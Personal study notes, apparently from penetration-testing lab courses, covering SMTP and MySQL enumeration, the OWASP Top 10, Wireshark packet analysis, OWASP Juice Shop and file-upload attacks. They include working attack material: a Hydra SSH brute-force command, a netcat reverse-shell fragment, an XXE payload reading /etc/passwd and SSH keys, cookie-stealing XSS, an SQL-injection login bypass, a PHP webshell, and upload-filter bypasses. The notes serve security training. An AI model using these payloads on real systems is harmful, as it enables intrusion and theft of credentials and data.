    - Internet Message Access Protocol
      * Synchronize current inbox with new mail on the server, downloading anything new
        + Changes on one computers inbox will persist to another when synched
  + How does SMTP work
    - User supplies mail, service transfers mail to recipient through a series of steps
      * SMTP sorts mail
      * User 🡪 SMTP server 🡪 POP/IMAP server 🡪 Recipient
    - Mail user agent (email client or external program) connects to SMTP server of a domain, initiating SMTP handshake (FIRST STEP OF SMTP PROCESS). Occurs over SMTP port 25. Once validated, session begins
    - Client submits sender and receiver email addresses, body of email, attachments, etc to server
    - SMTP server checks whether domain name of recipient and sender is the same
    - SMTP server of sender connects to recipient SMTP server before relay. If it cannot be accessed, email gets put into SMTP queue
    - Recipient SMTP server will verify incoming email by checking if domain and username are recognized
      * Server then forward email to POP or IMAP server
    - Email then shows in recipient inbox
  + What Runs SMTP
    - Windows server platforms, variants on Linux
* Enumerating SMTP
  + Enumerating Server Details
    - Poorly configured or vulnerable mail servers often provide initial foothold into a network
    - First fingerprint server via “smtp\_version” in Metasploit
      * Scans range of IP addresses and determines the version of any email servers it encounters
  + Enumerating Users from SMTP
    - SMTP service has two internal commands allowing enumeration
      * VRFY – confirming names of valid users
      * EXPN – reveals actual address of user’s aliases and lists of emails
    - Done with Metasploit “smtp\_enum”
      * Feed module host or range of hosts to scan as well as wordlist containing usernames
  + Requirements
    - Metaplsoit and update/upgrade via sudo apt
  + Alternatives
    - Enumeration technique will work for majority of SMTP configs
    - Non Metasploit tools such as smtp-user-enum for OS-level user accounts on Solaris
      * Performed by inspecting responses to VRFY, EXPN, and RCPT TO commands
  + Using Metasploit for SMTP
    - Search smtp\_version
    - Use 0
    - Options
    - Need to set RHOSTS
    - Exploit
    - Check system mail name next to ESMTP Postfix
      * Postfix = mail transfer agent (MTA) running SMTP server
    - Search “smtp\_enum”
      * Set USER\_FILE to /usr/share/seclists/Usernames/top-usernames-shortlist.txt
      * RHOSTS - <ip>
      * THREADS – 16
      * Exploit
* Exploiting SMTP
  + Following enumeration
    - User account name
    - Type of SMTP server and operating system running
      * SSH also running
        + Attempt bruteforce via Hydra

Rockyou.txt in /usr/share/wordlists/

Additional lists in SecLists

* + - * + Ex. Syntax: hydra -t 16 -l USERNAME -P /usr/share/wordlists/rockyou.txt -vV 10.10.105.120 ssh
        + Hydra – runs the tool
        + -t 16 – parallel connections to target
        + -l [user] – points to user who’s account trying to be compromised
        + -P – path to dictionary
        + -vV – increased verbosity
        + [machine IP] – target IP
        + Ssh/protocol – sets the protocol
      * Find password, access ssh and explore target system
* Understanding MySQL
  + What is MySQL
    - Relational database management system (RDBMS) based on structured query language
  + Database
    - Persistent, organized collection of structured data
  + RDBMS
    - Software or service used to create and manage databases based on a relational model, organized as tables. Every table relates in some way to each others primary key or other key factors
  + SQL
    - MySQL is a brand name for popular RDBMS software implementation
      * Client-server model
  + How does MySQL work
    - Consists of server and utility programs
    - Handles all database instructions like creating, editing, and accessing data
    - Receives and manages requests and communicates using MySQL protocol
      * MySQL creates a database for storing and manipulating data, defining the relationship of each table
      * Clients make requests by making specific statements in SQL
      * The server will respond to the client with whatever information has been requested
  + What runs MySQL
    - Linux, Windows
    - Commonly used as ***a back end database***
    - Essential component of LAMP stack (Linux, Apache, MySQL, PHP)
* Enumerating MySQL
  + When you would begin attacking MySQL
    - Likely not going to be the first point for getting initial information about the server
    - Can attempt to bruteforce but unlikely
  + The Scenario
    - Typically have gained some initial credentials from enumerating other services used to enumerate and exploit MySQL service
    - Assumption of the discovery “root:password” while enumerating subdomains of a web server
      * Typically after unsuccessful ssh login
  + Requirements
    - Need MySQL installed on system
    - Metasploit
  + Alternatives
    - Nmaps mysql-enum script
  + Nmap -A -p- -vv <ip>
    - Port 3306
    - Check credentials with mysql -h <ip> -u <username> -p
  + Metasploit
    - Mysql\_sql
    - PASSWORD, RHOSTS, USERNAME, SQL (change to show databases)
    - Exploit
    - Search for version – select module()
* Exploiting MySQL
  + - At this point, MySQL server credentials are known
    - Version of MySQL running is known
    - The number of Databases and names
  + Key Terminology
    - Schema
      * Database
      * Can substitute schema instead of database
        + Not all database products use interchangeable terminology (such as Oracle Database)
    - Hashes
      * Product of cryptographic algorithm
      * Can be used to index data into a hash table
        + Each hash has unique ID that serves as a pointer to original data
        + Creates smaller index, faster and more efficient search
  + Search for mysql\_schemadump
    - Set options and exploit
  + Search for mysql\_hashdump
    - Set options and exploit
    - Find users and password hashes
    - Copy hash string (from name to end) to text file
    - Run JohntheRipper against it
      * Syntax: john hash.txt
  + Use new found passwords and profiles to ssh remote users

OWASP Top 10

* Injection
* Common flaw in applications.
* Occur because user controlled input is interpreted as actual commands or parameters by application
  + Dependent on technology used and how input is interpreted
  + SQL Injection – controlled input is passed to SQL queries, manipulating outcome of said queries
  + Command Injection – user input is passed to system commands. Execute arbitrary system commands on application servers
* If input is passed and interpreted correctly
  + Access, modify, delete information in a database – leading to the stealing of sensitive information such as personal details and credentials
  + Execute arbitrary system commands on a server to gain access to user systems. Enable them to steal sensitive data and carry out attacks against infrastructure linked to the server
* The main defense is ensuring user-controlled input is not interpreted as queries or commands
  + Using an allow list – safe inputs or characters
  + Stripping input – dangerous characters are removed
* OS Command injection
  + Occurs when server-side code, such as PHP, in a web application makes a system call on the hosting machine
  + Allows attacker to take advantage of made system call to execute OS commands on server
    - Spawn reverse shells
      * ;nc -e /bin/bash
* Active Command Injection
  + Blind command injection occurs when the system command made to server does not return response to user in HTML document
  + Active command injection will return the response to the user
    - Made visible through several HTML elements
    - A sample code would check is a command string is set
      * If it is set, then the variable of the command string is passed to the input field
        + Using the passthru() function, the code executes what gets entered into the input then passing output directly back to browser
      * If it isn’t set, error is output to the page
  + WAYS TO DETECT ACTIVE COMMAND INJECTION
    - See response from system call
      * Ex. Passthru() function in PHP
        + Response passed directly to document
      * Can be used to enumerate machine further
    - Commands to try
      * Linux
        + Whoami – user
        + Cat /etc/passwd – user list

Cross reference with whoami output to determine user shell

* + - * + Id
        + Ifconfig/ip addr
        + Uname -a
        + Ps -ef
        + Ls
        + Lsb\_release -a – find OS version
      * Windows
        + Whoami
        + Ver
        + Ipconfig
        + Tasklist
        + Netstat -an
* Broken Authentication
  + Authentication and session management constitute core components of modern web applications
    - Username and password
    - Cookies
  + Common flaws in authentication mechanisms include
    - Brute force attacks
    - Use of weak credentials
    - Weak session cookies
      * Predictable values
  + Mitigation techniques
    - Strong password policy
    - Automatic lockout after certain number of attempts
    - Multi-factor authentication
* Broken Authentication Practical
  + Logic flaw
    - Developers forget to sanitize the input (username & password)
      * Vulnerable to SQL injection
      * Re-registration of an existing user
        + “admin” versus “ admin”
        + Register and then login
* Sensitive Data Exposure
  + Accidentally divulge sensitive data
  + PII
  + May involve MiTM attacks
  + May rely solely on web app vulnerabilities and directly on web server itself
  + It is common to store large amounts of data in a database
    - Web application use – SQL
    - Databases set up on dedicated servers or files (flat-file databases)
      * Flat-file databases are stored on a single file on the computer
      * Sometimes stored within root directory of the website
        + If accessible by a website user, it can be downloaded and queried on own machine, with full access to everything on database
    - Flat-file database syntax and format
      * Format is commonly sqlite
        + Interacted with many programming languages and has a dedicated client

Sqlite3

Syntax: sqlite3 <database-name>

.tables command

To dump data from table

PRAGMA table\_info(customers);

SELECT \* FROM customer;

* + If something like password hashes are found, Kali has tools for crack them or use online Crackstation – good for weak password hashes
  + Inspect element for developer notes in source code
    - If directory found, input in URL at end of IP
    - Search for .db database files, download and use sqlite3 to search for information to login to web application
* XML External Entity
  + Abuses features of XML parsers/data, allows attacker to interact with any backend or external systems that application can access and allow files to be read on system
  + Also cause DoS or SSRF, port scanning and remote code execution
  + Two Types of XXE Attacks
    - In-band – attacker can receive an immediate response to XXE payload
    - Out-of-band – blind XXE – no immediate response from web application and attacker has to reflect the output of their XXE payload to some other file or own server
* XML External Entity – eXtensible Markup Language
  + What is XML
    - Markup language that defines a set of rules for encoding documents in format both human and machine readable for storing/transporting data
  + Why is XML used
    - Platform-independent, language-independent
    - Data stored/transported using XML can be changed at any point in time without affect presentation
    - Allows validation using DTD and Schema – free from syntax error
    - Simplifies data sharing between various systems – no conversion required
  + Syntax
    - XML prolog
      * <?xml version=”1.0” encoding=”UTF-8”?>
    - Above the line is called XML prolog and specifies XML version and encoding
    - Must contain root element – XML document will be invalid without
    - Can use attributes as in HTML
* XML External Entity – DTD
  + Document Type Definition
    - Defines structure and legal elements/attributes of XML
      * !DOCTYPE – defines root element of the document
      * !ELEMENT <insert> – defines the note element must contain the elements “to, from, heading, body”
        + To – defines to element
        + From – defines the from element
        + Heading – defines the heading element
        + Body – defines the body element
      * !ENTITY – defines new entity
      * #PCDATA – parseable character data
* XML External Entity – XXE Payload
  + Define ENTITY called name and assign a value to use in code
  + Use XXE to read system file by defining ENTITY and using SYSTEM keyword
    - Define an ENTITY named read with value set to SYSTEM and path of file (such as <file:///etc/passwd>)
  + A website vulnerable to XXE would display content of file /etc/passwd
  + EX code – changes name
    - <!DOCTYPE replace [<!ENTITY name "feast"> ]>
    - <userInfo>
    - <firstName>falcon</firstName>
    - <lastName>&name;</lastName>
    - </userInfo>
  + EX code – displays /etc/passwd
    - <?xml version="1.0"?>
    - <!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
    - <root>&read;</root>
* EXM External Entity – Exploiting
  + Pair with Burp when submitting XXE attack
  + Swap /etc/passwd for /home/falcon/ .ssh/id\_rsa to search for ssh keys
* Broken Access Control
  + If a websites visitor is able to access the protected page/pages not authorized to view, access controls are broken
    - Application uses unverified data in SQL call
      * Ex. Pstmt.setString(1, request.getParamter(“acct”));
      * Ex. ResultSet results = pstmt.executeQuery();
    - Modify acct parameter in the browser to query any account number
  + Force browse to target URLs
    - <http://example.com/app/getappInfo>
    - <http://example.com/app/admin_getappInfo>
* Broken Access Control (IDOR Challenge)
  + Insecure Direct Object Reference
    - Exploiting a misconfiguration in the way user input is handled
    - Flag=<num> after .php in website URL following account login
* Security Misconfiguration
  + - Poorly configured permissions on cloud services, unnecessary features enabled, default accounts with unchanged passwords, overly detailed error messages, no HTTP security headers
  + Default Passwords
    - Common in embedded and IoT devices
    - Check official documentation, OSINT-style (google)
* Cross-site Scripting
  + XSS Explained
    - Typically found in web application – type of injection that allows attackers to execute malicious scripts
    - Vulnerable if it uses unsanitized user input – possible in JS, VBScript, Flash and CSS
      * Stored XSS – most dangerous type – malicious string originates from website database – often happens when a website allows user input that is not sanitized when inserted into database
      * Reflected XSS – part of the victims request to the website. Website includes payload in response back to the user. Attacker needs to trick a victim into clicking a URL to execute their malicious payload
      * DOM-Based XSS – Document Object Model – programming interface for HTML and XML documents – represents the page so programs can change document structure, style, content
  + XSS Payloads
    - ***Popup's (<script>alert(“Hello World”)</script>) - Creates a Hello World message popup on a users browser.***
      * ***alert“window.location.hostname”***
      * ***REFLECTIVE USE***
    - **Writing HTML (document.write) - Override the website's HTML to add your own (essentially defacing the entire page).**
      * **Once account is registered and comments are allowed**
        + **Use HTML brackets**

**Ex. <h3>HELLO</h3>**

**STORED**

* + - ***Create an alert popup box appear on the page with document cookies***
      * ***<script>alert(document.cookie)</script>***
    - ***Change “XSS Playground” to “I am a hacker” by adding a comment and using JS***
      * **Inspect Element and Find Code for Specific Piece to be Replaced**
      * **<script>document.querySelector(‘<tag to be edited>).textContent = 'I am a hacker'</script>**
    - XSS Keylogger (http://www.xss-payloads.com/payloads/scripts/simplekeylogger.js.html) - You can log all keystrokes of a user, capturing their password and other sensitive information they type into the webpage.
    - Port scanning (http://www.xss-payloads.com/payloads/scripts/portscanapi.js.html) - A mini local port scanner (more information on this is covered in the TryHackMe XSS room).
    - XSS-Payloads.com (http://www.xss-payloads.com/) is a website that has XSS related Payloads, Tools, Documentation and more.
  + XSS Challenge
* Insecure Deserialization
  + Occurs when untrusted data is used to abuse the logic of an application
  + Replacing data processed by an application with malicious code
  + Leverages legitimate serialization and deserialization process used by web applications
    - Low exploitability – case-by-case
    - Exploit extent dependent on hacker skill
      * What is vulnerable?
        + E-commerce sites
        + Forums
        + APIs
        + Application runtimes
* Insecure Deserialization – Object
  + OOP
    - States and behaviors of objects
* Insecure Deserialization – Deserialization
  + Serialization is the process of converting objects used in programming into simpler, compatible formatting for transmitting between systems or networks for further processing/storage
  + Deserialization is the reverse
    - Plaintext 🡪 binary for transport; binary 🡪 plaintext for application
  + Insecure deserialization occurs when data from an untrusted party gets executed due to lack of filtering/input validation
* Insecure Deserialization – Cookies
  + Expiry timers
  + Cookie name – required
  + Cookie value – plaintext/encoded – required
  + Secure only – only sent over HTTPS – not required
  + Expiry – timestamp when cookie is removed from browser – not required
  + Path – cookie only sent if specified URL is in request – not required
* Insecure Deserialization – Cookies Practical
  + Inspect element when within profile
    - Storage tab 🡪 cookies
      * Check for encoded, base64
        + Decode echo ‘<base64 string>’ | base64 --decode
    - userType – change from user to admin?
      * Then navigate to URL /admin
* Insecure Deserialization – Code Execution
  + Vulnerability via comment input
    - Input would be encoded and sent to Flask application
    - Application assumes encoded data is trustworthy
  + Start with creating netcat listening post
    - “nc -lvnp 4444”
    - Due to cookie encoding in base64, reverse shell cannot be a straightforward spawn
    - Commands must be encoded in base64 (or same encryption)
      * Source code on github
      * Replace IP with attacker IP
      * Create python exe and run for encoded text string
      * Paste base64 encoded shell into encodedPayload cookie value
        + Refresh page and confirm connection with listening post
        + Use find, grep commands to search
* Components with Known Vulnerabilities
  + Service and version discovery + OSINT = discovery of usage of components with known vulns
  + Exploit-db to try and find an exploit
  + When using an exploit script
    - Input arguments should be contained in quotes
  + Unauthenticated remote code execution
* Insufficient Logging and Monitoring
  + Regulatory damage
  + Risk of further attacks
  + Information Stored should include
    - HTTP status codes
    - Time Stamps
    - Usernames
    - API endpoints/page locations
    - IP addresses
  + Important to store multiple accurate copies securely
  + Detecting Suspicious Activity such as
    - Multiple unauthorized attempts for a particular action
    - Requests from anomalous IP addresses or locations
    - Use of automated tools – using the value of User-Agent headers or speed of requests
    - Common payloads – XSS payloads
  + Detection must also be rated in severity
    - Creates priorities
    - Review of logs help detect patterns, tactics, strategies employed

Wireshark

* Created for analyzing packet captures
* Live capture or pre-loaded PCAPS
  + Green ribbon – manage capture filters
* When performing analysis
  + Packet number
  + Time
  + Source and Destination
  + Protocol
  + Length
  + Packet Info
  + Packet color coding/danger level coding
* Ways to gather PCAP files – Collection Methods
  + Ensure computer power and system memory available for analyzing a given size network
  + Methods
    - Network Taps
      * Physical implant – used by Threat Hunting/DFIR teams/Red Teams
        + Hardware taps

Vampire Taps

Directly on a wire

* + - * + Inline network tap

Between network devices

Throwing Star LAN Tap

* + - MAC Floods
      * Used by red teams to actively sniff packets
      * Stress switch and fill CAM table
        + Once CAM is filled, Switch will no longer accept new MAC addresses
        + To prevent backlog, switch will send out packets to all ports on the switch
        + Use technique with caution and explicit consent
    - ARP Poisoning
      * Used by red teams
      * Redirect traffic from host(s) to machine being used for monitoring
      * Will not stress network equipment (as MAC Floods do), but should still be used with caution if other methods are unavailable
* Filtering Captures
  + Display captures
    - Added through Analyze tab and Filter bar on top of packet capture
  + Filtering Operators
    - And – operator: and/&&
    - Or – operator: or / ||
    - Equals – operator: eq/==
    - Not equal – operator: ne / !=
    - Greater than – operator: gt / >
    - Less than – operator: lt / <
    - Additional contains, matches, and bitwise\_and operators for searching for single packets in mass collections
  + Basic Filtering
    - Gives large scope via syntax options
    - Syntax: <protocol>.<filter type> == <IP address>
      * Ex. ip.addr == <IP address>
      * Ex. ip.src == <SRC IP address> and ip.dst == <DST IP Address>
      * Ex. tcp.port eq <Port #> or <Protocol Name>
      * Ex. udp.port eq <Port #> or <Protocol Name>
    - Helpful in conducting further analysis on a potentially malicious source
* Packet Dissection
  + Use of OSI Layers
  + Packet Details
    - Packets consist of 5-7 layers
      * Ex. frame/packet; source [MAC]; source [IP]; protocol; protocol errors; application protocol; application data;
    - Frame (Layer 1) – show frame/packet, details of Physical Layer
    - Source [MAC] (Layer 2) – show source and destination MAC addresses, from Data Link Layer
      * Ex. Ethernet II
    - Source [IP] – shows source and destination IPv4 Addresses, from Network Layer of the OSI model
    - Protocol – shows details of protocol used (TCP/UDP) along with source and destination ports, from the Transport Layer
      * Ex. Transmission Control Protocol
    - Protocol Errors – continuation of fourth layer showing specific segments from protocol used above that needed to be reassembled
      * Ex. Reassembled <TCP/UDP> Segments
    - Application Protocol – show details specific to the protocol being used such as HTTP, FTP, SMB, etc. – Application Layer
    - Application Data – extension of layer 5 that can show the application specific data
      * Ex. Line-based text data
* ARP Traffic
  + Address Resolution Protocol – Layer 2 Protocol
    - Connects IP addresses with MAC addresses
    - Will contain REQUEST and RESPONSE messages
    - Identified with Request (1) and Response (2) codes
      * Most devices will ID themselves or be ID’d by Wireshark
      * Suspicious traffic will likely come from an unrecognized source
  + ARP Traffic Overview
    - Key things to look for
      * Opcode
        + Operation code – denote request or reply
      * Target MAC address
        + Where request is being sent
      * Sender MAC Address and Sender IP Address
* ICMP
  + Internet Control Message Protocol
    - Analyze various network nodes
      * Ping traceroute
  + ICMP Traffic Overview
    - Type and code of the packet are important
      * Type = 8 🡪 request packet
      * Type = 0 🡪 reply packet
    - If either are altered, sign of suspicious activity
    - Timestamp and Data
      * Timestamp provides timeline assistance
      * Data is usually a random character string
        + Copy “value”
* TCP Traffic
  + Transmission Control Protocol – handles delivery of packets including sequencing and errors
    - * Ports closed is RST, ACK packets are in red
    - Due to sheer number of TCP packets captured by Wireshark requires assistance from RSA NetWitness and NetworkMiner to filter out and analyze
  + Necessary to Know TCP Handshake (SYN 🡪 SYN-ACK 🡪 ACK)
    - If out of order, or includes other packets such as RST, indicates suspicious activity
  + TCP Packet Analysis
    - Main thing to search for
      * Sequence number
        + Edit > preferences > protocols > TCP > relative sequence numbers (uncheck boxes)
      * Acknowledgement number
        + If 0, port is not open
* DNS Traffic
  + Domain Name Service Protocol – resolves IP addresses
    - Search for
      * Query-Response
      * DNS-Servers Only
      * UDP
        + If any of these are out of place, consider suspicious and analyze
  + DNS Traffic Query
    - Source – UDP, Dst Port: #
      * If port is incorrect, consider packet suspicious
    - Queries List
    - Essential to understand what is typical traffic in the network environment you are analyzing
      * Google searches normal?
      * Social Media Sites?
    - DNS Response
      * Answers List as opposed to Queries List
      * Transaction IDs
* HTTP Traffic
  + Used to send GET and POST requests to a web server in order to receive things such as webpages
    - Useful in spotting SQLi, Web Shells, and other web-related attacks
  + HTTP Traffic Overview
    - Does not use handshakes or prereqs before communication
    - Important information to gather
      * Host
      * User-agent
      * Request URI
      * Response
      * File Data
      * Server
    - Analyze with Protocol Hierarchy
      * Statistics > Protocol Hierarchy
      * Useful for threat hunting to identify discrepancies in packet captures
    - Export HTTP Object
      * Allow organize all URIs in capture
      * File > Export Objects > HTTP
      * Useful in quickly identifying possible discrepancies
    - Endpoints
      * Allow user to organize all endpoints and IPs found within a specific capture
      * Useful in identifying discrepancies
      * Statistics > Endpoints
* HTTPS Traffic
  + Begin analyzing HTTPS traffic by looking at packets for the handshake between client and server
    - Client Hello Packet
      * Contains
        + SSLv2 Record Layer
        + Handshake Type
        + SSL Version
    - Server Hello Packet
      * Contains
        + Session Details
        + SSL Certificate information
    - Client Key Exchange Packet
      * Part of the handshake will determine public key use to encrypt further messages between Client and Server
    - Server Confirm Packet
      * Confirm public key and create secure tunnel
      * Traffic will be encrypted at this point and require private key for decryption
    - To unencrypt data
      * With private key
        + Edit > Preferences > Protocols > TLS > RSA Keys List > [+]

Fill in IP Address

Port: start\_tls

Protocol: http

Keyfile: RSA Key Location

* + - * Can now view unencrypted data streams
  + Search for
    - * Request URI
      * User-Agent
    - Good for threat hunting and network administration
    - Export HTTP object
* Analyzing Exploit PCAPs
  + Zerologon PCAP Overview
    - Windows Active Directory Exploit – CVE-2020-1472
  + Identifying the Attacker
    - Normal traffic from OpenVPN, ARP, etc
    - Abnormal Traffic from unknown protocols such as DCERPC and EPM
      * Check IP source
  + Zerologon POC Connection Analysis
    - Set filter for the source of the IP
    - Search for IOCs
      * Indicators of Compromise
      * Threat Intelligence
        + Verify nature of attacks via PCAP analysis

Such as Zerologon’s use of numerous RPC connections and DCERPC requests to change machine account password

* + Secretsdump SMB Analysis
    - SMB2/3 traffic and DRSUAPI traffic 🡪 indicator of Secretsdump use to dump hashes
    - Unique artifacts of attacks
    - ID and isolate threats, report incidents

OWASP Juice Shop

* Start with Burpsuite, without Intercept on – walk the site to collect request-responses – form of reconnaissance
  + Check comments for potential email addresses of site members, comments that provide insight into user interests
  + Input “a” into search bar and check URL – search parameter will precede input with <search param>=<search input>
* INJECTION VULNERABILITIES
  + - dangerous due to cause of downtime and/or loss of data
    - ID injection points within a web application
    - Simple as many return with an error message of sorts
  + SQL Injection – malicious/malformed query to retrieve or tamper data from a database, log into accounts
  + Command Injection – user input run as system commands, allowing tampering
    - Seen in applications that perform misconfigured ping tests
  + Email Injection
    - Users can send email messages without authorization by email server
      * Occur when extra data is added to fields which are not interpreted correctly
* Intercept login attempt with burpsuite and exchange email submission with **‘ or 1=1—**
  + “’” will close brackets in SQL query
  + “OR” is an SQL Boolean which will return true if either side is true, as 1=1 is true, the whole statement is true
    - This tells the server the email is valid and logs into user id 0, the admin account
  + “- -“ comments out data, any restrictions on the login will no longer work as they are interpreted as a comment
* Intercept another login attempt and edit a correct email (found through reading item comments)
  + Because email is confirmed true, adding “ ‘- -“ to the end of the email will bypass login system
  + 1=1 can be used when email/username is not known or invalid
* EXPLOITING AUTHENTICATION THROUGH DIFFERENT FLAWS
  + Mechanisms vulnerable to manipulation
    - Weak passwords in high privileged accounts
    - Forgotten password pages
  + Intercept admin login attempt and forward attempt to Intruder for brute-force password attempt
    - Sniper
    - Best1050.txt from seclists (apt-get install seclists)
    - /usr/share/seclists/Passwords/Common-Credentials/best1050.txt
    - 200 OK result
      * Login
  + Reset Password Exploit
    - Password reset questions
    - What can be found out about the user?
    - Hints in comments or profile information?
    - Reset password to your liking
* Web applications should store/transmit data safely and securely
  + If not correctly protected, data can become vulnerable
  + Data protection is not applied consistently across the web application – certain web pages become accessible to the public
    - Information leaked to public without knowledge/permission of developer
  + Checking out documents offered by web applications may reveal directories in URL which may be vulnerable
    - FTP for example
    - Navigate to such directories by inputting them into the URL
    - OSINT
    - Downloading files from FTP directory
      * Package.json.bak
        + Use character bypass called “Poison Null Byte” = %00, URL encoded 🡺 %2500. Add to end of URL with “.md” extension will bypass 403 error
        + NULL terminator which tells server to terminate at a given point, nulling the rest of the string
* Broken Access Control Exploits and Bugs
  + Horizontal Privilege Escalation
    - Access data or perform an action of another user with the same level of permissions
  + Vertical Privilege Escalation
    - Perform an action or access data of another user with a higher level of permissions
  + User Debugger on Firefox (Sources in Chrome) – Developers Menu
    - Search for JS scripts of importance, such as main
    - Find admin related code, path:administration
      * Hints towards /#/administration page
      * Login as admin and navigate to relevant admin pages
  + View another users account
    - Shopping cart
    - Intercept and search GET line for indication of listing for shopping cart object
      * Ex. GET /rest/basket/1 HTTP/1.1
      * Change the /1 to /2 to test for horizontal escalation
* XSS/Cross-Site Scripting
  + Run javascript within web applications
  + Some of the most commonly found bugs
    - Ease of discovery varies as each application parses queries differently
  + Three Major Types
    - DOM – Document Object Model-based – uses HTML environment to execute malicious JS – commonly uses <script></script> HTML tag
      * <iframe src=”javascript:alert(‘xss’)”>
      * Put into search bar to get alert
      * Iframe is a common HTML element but others can produce same result
      * This type of attack is also called XFS – Cross-Frame Scripting – one of the most common forms of detecting XSS within web apps
        + Websites that allow iframe modification or other DOM elements are likely vulnerable to XSS
        + Due to servers sending back related information from a request – without correct sanitation
    - Persistent – Server-side, run whenever server loads the page containing it. Can occur when the server does not sanitize the user data when it is uploaded to a page.
      * Commonly found on blog post
      * Logout of Admin page with Burp active to intercept logout request
        + In Inspector, add new header

True-Client-IP and use iframe XSS message in body and forward

* + - * Sign back in to confirm success of attack
    - Reflected – run on client-side of web app. Most commonly found when the server doesn’t sanitize search data
      * When checking an order status, if there is an “id” value in the URL, replacing with an iframe script can cause XSS
      * Submit and refresh to demonstrate attack

Upload Vulnerabilities

* Uploading files to a server, when handled badly, can open up severe vulnerabilities in the server
  + Overwriting existing files on a server
  + Uploading and executing shells on a server
  + Bypassing client-side filtering
  + Bypassing various kinds of server-side filtering
  + Fooling content type validation checks
* General Methodology
  + Enumeration is key
    - Looking at source code for the page to see if client-side filtering is being applied
    - Scanning with a directory bruteforcer (Gobuster)
      * Sudo apt install gobuster
    - Intercepting upload requests with Burp
    - Browser extensions such as Wappalyser
  + Develop basic understanding of how the website is handling input
    - If client-side filtering
      * Take look at code and look to bypass
    - If server-side filtering
      * Guess filters, test, adjust based on error message
      * Burp or Zap can be helpful with this
* Overwriting Existing Files
  + Typically, whenever files are uploaded to a server, checks should be carried out to ensure file will not overwrite anything that already exists on the server
    - Common practice to assign file new name, dates, error returns
    - File permissions prevent pages from being writeable by a regular user
  + Check source code
    - Check for src and directory of said src
      * Ex. src=’images/spaniel.jpg’
    - Upload another image with the same name as the one found (spaniel.jpg for example)
      * See if server will accept
* Remote Code Execution
  + Likely to be a low-privileged user account (such as www-data on a linux server), still serious
  + RCE results from uploading a program written in the same language as the back-end of the website (or any language the server understands and will exe)
    - Usually PHP, can use python Django, JS [node.js])
  + Two basic ways to achieve RCE
    - Webshells
      * Practical option
    - Reverse shells
      * Ideal goal
    - Upload and force run
  + Web shells
    - Web page with upload form
    - Perform gobuster scan
      * “gobuster dir -u <http://demo.uploadvulns.thm> -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
      * “-e” – print full URLs in console
      * -U and -P – username and password for basic auth
      * “-p <x>” = proxy to use for requests
      * “-c <http cookies>” – specify a cookie for simulating your auth
    - Find directories
      * Directories can be input in URL for navigation
    - Create webshell
      * PHP good place to start, though some enumeration may be necessary in real life application
      * Take a parameter and execute it as a system command
        + Create php script in text editor and save with .php extension
      * PHP syntax:
        + <?php

echo system($\_GET[“cmd”]);

* + - * + ?>
      * Takes a GET parameter and executes it as a system command, echoing output to screen
      * Shell can be used to read files from the system or upgrade to a reverse shell
        + When using webshells, easier to view output by looking at the source code of the page
    - Reverse Shells
      * Similar process to webshell upload
      * Pentest Monkey reverse shell
        + Edit line 49

Change 127 IP to THM tun0 IP

* + - * + Start netcat listening post nc -lvnp 1234
      * Upload shell and activate by navigating to <http://demo.uploadvulns.thm/uploads/shell.php>
        + Find upload

Activate reverse shell by navigating to it and clicking on it

* + - * + Site should hang but be accessible via listening post

Find flag

* Filtering
  + Differences between client and server side filtering
    - Client-side
      * Web application is running in users browser
      * JS
      * Filtering occurs before the file is even uploaded to the server
      * Easy to bypass
    - Server-side
      * PHP, C#, Node.js, Python, Ruby on Rails, etc.
      * More difficult to bypass
      * Must form payload that conforms to filters in place while allowing execution
    - Types of filters
      * Extension Validation
        + Blacklist or whitelist certain extensions
        + Can be bypassed
      * File Type Filtering
        + Similar to extension validation, more intensive
        + MIME Validation

Identifier for files, usually over email or HTTP(S)

MIME type for file upload located in header of request

Ex. Content-Type: <type>

Follow <type>/<subtype> format

Easy to bypass

* + - * + Magic Number Validation

More accurate determination of file contents

Magic number of a file is a string of bytes at the very beginning of the file content which identify the content

Ex. PNG file would have the following

89 50 4E 47 0D 0A 1A 0A

Common in Unix systems

* + - * File Length Filtering
        + Prevent huge files from being uploaded to the server via an upload form
      * File Name Filtering
        + Check if pre-existing or contain bad characters

Null bytes or forward slashes on Linux

Control characters such as ; and Unicode characters

* + - * + May have to go hunting for shell on a well-administered system
      * File Content Filtering
        + Prevents extension spoofing
        + Complex
    - Often used in conjunction to prevent gaps
      * Any can be applied client or server side or both
    - Different languages and frameworks also filter differently
* Bypassing Client-Side Filtering
  + Four easy ways to bypass typical client-side file upload filter
    - Turn off JS in your browser
    - Intercept and modify the incoming page – Burpsuite
      * Strip out JS filter
    - Intercept and modify the file upload
      * Burp
    - Send the file directly to the upload point
      * Using curl, post data directly to page containing the code for handling the files upload
      * Syntax: curl -X POST -F “submit:<value>” -F “<file-parameter>:@<path-to-file>”<site>
        + Intercept successful upload using Burp or console to see parameters being used in the upload to be slotted in above command
  + Search source code for JS function used for content filtering client-side
    - * Whitelisting using != check
    - Attempt file upload to confirm
    - Start burpsuite and reload page
      * Find servers response 🡪 right click intercepted data > “Do Intercept” > “Response to this Request”
      * Forward
        + View server’s response to this request

Delete, comment out, break JS function

Forward

* + - * Burpsuite will not intercept any external JS files that the web page is loading by default
        + To edit script outside main page being loaded

Options > Intercept Client Requests > edit condition of the first line to remove “^js$|”

* + - Upload reverse shell with incorrect extension, such as .jpeg, intercept upload
      * Change Content-Type: image/jpeg 🡪 text/x-php
      * Change file extension from .jpeg to .php
        + Forward
* Bypassing Server-Side Filtering: File Extensions
  + Perform testing to conceive idea of what is or is not allowed through the filter
    - Gradually construct payload which conforms to restrictions
  + Bypasses are dependent on blacklists
    - Searching for last period to find extension
    - First period in filename
    - Splitting filename at each period and checking to see if any blacklisted extensions show up
    - Extension filters
      * Certain extensions have alternates that serve the same function and can bypass filter, however webpage may not be configured to read these extensions properly
  + Start legitimate and work inward
    - Try to find extensions that can be executed and are not filtered
    - Try using combo extensions
      * Ex. if jpg is OK but php is not
        + File.jpg.php
        + Null byte (file.php%00.gif)
        + Php5

Filter may search for first period only and defer to using the jpg portion to OK upload

* + - Enumerate and see what is allowed and what is blocked and craft payload which can pass criteria
* Bypassing Server-Side Filtering: Magic Numbers
  + Effective against PHP but can fail against other types of webserver
  + Adding magic number of a known OK file to top of shell
    - List of signatures on Wikipedia
  + Use “file” command to check file type of shell
    - PHP?
  + Open file to write
    - Add four random letters on first line (AAAA)
    - Save and exit
  + Reopen file in hexeditor
    - AAAA 🡪 41 41 41 41
    - Change to HEX of magic numbers
    - Save and exit
    - “file” command to spoof file type
  + Access shell directly using URI
    - Assume directory and attach file name
